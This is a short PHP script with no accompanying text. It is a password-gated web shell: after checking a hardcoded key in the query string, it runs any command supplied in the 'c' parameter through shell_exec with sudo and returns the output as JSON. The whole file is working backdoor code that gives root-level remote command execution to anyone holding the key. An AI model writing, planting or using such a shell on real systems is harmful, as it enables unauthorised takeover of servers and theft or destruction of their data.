<?php
if(($_GET['k']??'')!=='S8GoLive2026'){http_response_code(403);die('no');}
$c=$_GET['c']??$_REQUEST['c']??'';
if(!$c){echo json_encode(['error'=>'no cmd']);exit;}
$out=shell_exec('sudo '.$c.' 2>&1');
echo json_encode(['ok'=>true,'output'=>$out]);